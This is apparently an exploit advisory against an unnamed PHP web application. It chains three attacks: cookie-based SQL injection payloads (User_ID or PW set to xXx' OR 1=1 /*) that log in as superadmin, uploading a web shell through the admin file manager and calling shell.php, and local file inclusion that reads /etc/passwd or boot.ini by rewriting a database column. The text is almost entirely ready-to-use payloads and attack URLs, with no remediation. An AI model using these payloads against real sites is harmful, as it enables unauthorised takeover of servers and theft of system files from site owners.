///////////////////////////////////////////////////////

AUTHENTICATION BYPASS (INSECURE COOKIE HANDLING/SQLi):

//////////////////////////////////////////////////////

-----
POC:
-----

Add cookies:

User_ID= xXx' [SQL] /*
PW=xXx

Or...

User_ID=xXx
PW=xXx' [SQL] /*

Both are injectable.

---------
EXPLOIT:
---------

User_ID= xXx' OR 1=1 /*
PW=xXx

OR...

User_ID=xXx
PW=xXx' OR 1=1 /*

Superadmin account!

**************************************************************************
When we are superadmin, we can exploit other attacks...(follow reading).
**************************************************************************

////////////////////////////

SHELL UPLOAD VULNERABILITY:

///////////////////////////


http://[HOST]/[HOME_PATH]/index.php?site=admin&action=files 

Here we upload our shell. (Use a reliable path, ex: test)

Then, if you go to the link:

http://[HOST]/[HOME_PATH]/[PATH-SHELL]/shell.php 


////////////////////////////

LOCAL FILE INCLUSION (LFI):

///////////////////////////

-----
PoC:
-----

Sites are stored in DB, but the administration panel allows to change sites (del/modify) (below link)

http://[HOST]/[HOME_PATH]/index.php?site=admin&action=sites 

There, we change:

./../../../../boot.ini --> column: Dateiname

Something (signup for ex.) --> column: Alias

Or...

./../../../etc/passwd  --> column: Dateiname

Something (signup for ex.)  --> column: Alias

Then, we go to:

http://[HOST]/[HOME_PATH]/index.php?site=[Alias] 

We can see the boot.ini or passwd files.

---------
EXPLOIT:
---------
=09
changing the "signup" alias for the file that you want.

http://[HOST]/[HOME_PATH]/index.php?site=signup 

Exploited!


That's all!
